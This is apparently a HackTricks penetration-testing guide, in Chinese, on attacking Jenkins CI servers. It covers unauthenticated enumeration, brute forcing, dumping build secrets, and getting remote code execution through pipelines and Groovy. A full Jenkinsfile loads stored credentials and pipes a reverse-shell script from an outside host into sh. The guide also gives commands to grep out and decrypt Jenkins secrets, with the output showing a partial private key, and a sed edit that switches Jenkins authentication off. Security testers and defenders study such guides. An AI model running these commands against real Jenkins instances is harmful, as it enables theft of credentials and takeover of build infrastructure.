Jenkins Security

Support HackTricks

基本信息

Jenkins 是一个工具,提供了一种简单的方法来建立几乎任何编程语言和源代码库组合的 持续集成持续交付 (CI/CD) 环境,使用管道。此外,它自动化了各种常规开发任务。虽然 Jenkins 并没有消除为每个步骤创建脚本的需要,但它确实提供了一种比手动构建更快、更强大的方式来集成整个构建、测试和部署工具的序列。

Basic Jenkins Information

未经身份验证的枚举

为了在没有身份验证的情况下搜索有趣的 Jenkins 页面(如 /people/asynchPeople,这列出了当前用户),您可以使用:

msf> use auxiliary/scanner/http/jenkins_enum

检查您是否可以在不需要身份验证的情况下执行命令:

msf> use auxiliary/scanner/http/jenkins_command

在没有凭据的情况下,您可以查看 /asynchPeople/ 路径或 /securityRealm/user/admin/search/index?q= 以获取 用户名

您可能能够从路径 /oops/error 获取 Jenkins 版本。

已知漏洞

登录

在基本信息中,您可以检查 所有登录 Jenkins 的方式

Basic Jenkins Information

注册

您将能够找到 允许您创建帐户并登录的 Jenkins 实例。就这么简单。

SSO 登录

如果 SSO 功能/插件 存在,您应该尝试使用测试帐户(即测试 Github/Bitbucket 帐户)登录应用程序。从 这里 获取技巧。

暴力破解

Jenkins 缺乏 密码策略用户名暴力破解缓解。对用户进行 暴力破解 是至关重要的,因为可能使用 弱密码用户名作为密码,甚至 反向用户名作为密码

msf> use auxiliary/scanner/http/jenkins_login

密码喷洒

使用 这个 python 脚本这个 powershell 脚本

IP 白名单绕过

许多组织将 基于 SaaS 的源代码管理 (SCM) 系统(如 GitHub 或 GitLab)与 内部自托管 CI 解决方案(如 Jenkins 或 TeamCity)结合使用。此设置允许 CI 系统 接收来自 SaaS 源代码控制供应商的 webhook 事件,主要用于触发管道作业。

为了实现这一点,组织 将 SCM 平台的 IP 范围列入白名单,允许它们通过 webhooks 访问 内部 CI 系统。然而,重要的是要注意 任何人 都可以在 GitHub 或 GitLab 上创建一个 账户 并将其配置为 触发 webhook,可能会向 内部 CI 系统 发送请求。

检查: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

内部 Jenkins 滥用

在这些场景中,我们假设您拥有访问 Jenkins 的有效账户。

根据 Jenkins 中配置的 授权 机制和被攻陷用户的权限,您 可能能够或无法执行以下攻击。

有关更多信息,请查看基本信息:

Basic Jenkins Information

列出用户

如果您已访问 Jenkins,您可以在 http://127.0.0.1:8080/asynchPeople/ 列出其他注册用户。

转储构建以查找明文秘密

使用 这个脚本 转储构建控制台输出和构建环境变量,以希望找到明文秘密。

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

窃取 SSH 凭证

如果被攻击的用户具有 足够的权限来创建/修改新的 Jenkins 节点,并且 SSH 凭证已经存储以访问其他节点,他可以通过创建/修改一个节点并 设置一个将记录凭证的主机 而不验证主机密钥来 窃取这些凭证

您通常可以在 全局提供者 (/credentials/) 中找到 Jenkins ssh 凭证,因此您也可以像转储任何其他秘密一样转储它们。更多信息请参见 转储秘密部分

Jenkins 中的 RCE

在 Jenkins 服务器上获得 shell 使攻击者有机会泄露所有 秘密环境变量,并 利用同一网络中的其他机器,甚至 收集云凭证

默认情况下,Jenkins 将 以 SYSTEM 身份运行。因此,攻陷它将使攻击者获得 SYSTEM 权限

创建/修改项目的 RCE

创建/修改项目是获得 Jenkins 服务器 RCE 的一种方式:

Jenkins RCE Creating/Modifying Project

执行 Groovy 脚本的 RCE

您还可以通过执行 Groovy 脚本来获得 RCE,这可能比创建新项目更隐蔽:

Jenkins RCE with Groovy Script

创建/修改管道的 RCE

您还可以通过 创建/修改管道 来获得 RCE

Jenkins RCE Creating/Modifying Pipeline

管道利用

要利用管道,您仍然需要访问 Jenkins。

构建管道

管道 也可以用作 项目中的构建机制,在这种情况下,可以配置一个 存储库中的文件,该文件将包含管道语法。默认情况下使用 /Jenkinsfile

也可以 将管道配置文件存储在其他地方(例如在其他存储库中),目的是 分离 存储库 访问 和管道访问。

如果攻击者对该文件具有 写入权限,他将能够 修改 它并 潜在触发 管道,而无需访问 Jenkins。 攻击者可能需要 绕过一些分支保护(根据平台和用户权限,这些保护可能会被绕过或不被绕过)。

执行自定义管道的最常见触发器是:

  • 对主分支的拉取请求(或可能对其他分支)

  • 推送到主分支(或可能对其他分支)

  • 更新主分支 并等待以某种方式执行

如果您是 外部用户,您不应该期望创建 PR 到其他用户/组织的主分支触发管道... 但如果配置 不当,您可能会通过利用这一点完全 攻陷公司

管道 RCE

在之前的 RCE 部分中已经指明了一种技术来 通过修改管道获取 RCE

检查环境变量

可以为整个管道或特定阶段声明 明文环境变量。这些环境变量 不应包含敏感信息,但攻击者始终可以 检查所有管道 配置/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

有关Jenkins通常如何处理秘密的信息,请查看基本信息:

Basic Jenkins Information

凭据可以作用于全局提供者/credentials/)或特定项目/job/<project-name>/configure)。因此,为了提取所有凭据,您需要至少妥协所有包含秘密的项目并执行自定义/被污染的管道。

还有另一个问题,为了在管道的env中获取秘密,您需要知道秘密的名称和类型。例如,如果您尝试将**usernamePassword** 秘密作为**string** 秘密加载,您将收到此错误

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

这里是加载一些常见秘密类型的方法:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

在本页面的末尾,您可以找到所有凭证类型https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

获取所有秘密的最佳方法是妥协****Jenkins机器(例如在内置节点中运行反向 shell),然后泄露****主密钥加密秘密并离线解密它们。 有关如何执行此操作的更多信息,请参见节点和代理部分后期利用部分

触发器

来自文档triggers指令定义了管道应重新触发的自动方式。对于与 GitHub 或 BitBucket 等源集成的管道,triggers可能不是必需的,因为基于 webhook 的集成可能已经存在。目前可用的触发器有cronpollSCMupstream

Cron 示例:

triggers { cron('H */4 * * 1-5') }

检查 文档中的其他示例

节点与代理

一个 Jenkins 实例 可能在 不同的机器上运行不同的代理。从攻击者的角度来看,访问不同的机器意味着 不同的潜在云凭证 可以被窃取或 不同的网络访问 可能被滥用以利用其他机器。

有关更多信息,请查看基本信息:

Basic Jenkins Information

您可以在 /computer/ 中枚举 配置的节点,通常会找到 内置节点(即运行 Jenkins 的节点)以及可能更多的节点:

攻陷内置节点 特别有趣,因为它包含敏感的 Jenkins 信息。

要指示您想在 内置 Jenkins 节点运行 管道,您可以在管道中指定以下配置:

pipeline {
agent {label 'built-in'}

完整示例

在特定代理中的管道,带有 cron 触发器,具有管道和阶段环境变量,在一个步骤中加载 2 个变量并发送反向 shell:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

任意文件读取到 RCE

Jenkins Arbitrary File Read to RCE via "Remember Me"

RCE

Jenkins RCE with Groovy ScriptJenkins RCE Creating/Modifying ProjectJenkins RCE Creating/Modifying Pipeline

利用后

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

您可以通过访问 /credentials/ 列出秘密,如果您拥有足够的权限。请注意,这只会列出 credentials.xml 文件中的秘密,但 构建配置文件 可能还包含 更多凭据

如果您可以 查看每个项目的配置,您也可以在其中看到用于访问存储库的 凭据名称(秘密)项目的其他凭据

From Groovy

Jenkins Dumping Secrets from Groovy

From disk

这些文件用于 解密 Jenkins 秘密

  • secrets/master.key

  • secrets/hudson.util.Secret

这样的 秘密通常可以在

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

这是一个查找它们的正则表达式:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

离线解密Jenkins秘密

如果您已经转储了 解密秘密所需的密码,请使用 这个脚本 来解密这些秘密

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

从 Groovy 解密 Jenkins 秘密

println(hudson.util.Secret.decrypt("{...}"))

创建新管理员用户

  1. 访问 Jenkins config.xml 文件在 /var/lib/jenkins/config.xmlC:\Program Files (x86)\Jenkins\

  2. 搜索词 <useSecurity>true</useSecurity> 并将 true 改为 false

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. 重启 Jenkins 服务器: service jenkins restart

  5. 现在再次访问 Jenkins 门户,Jenkins 这次不会询问任何凭据。您可以导航到 "管理 Jenkins" 以重新设置 管理员密码

  6. 通过将设置更改为 <useSecurity>true</useSecurity> 再次 启用 安全性再次重启 Jenkins

参考文献

支持 HackTricks

Last updated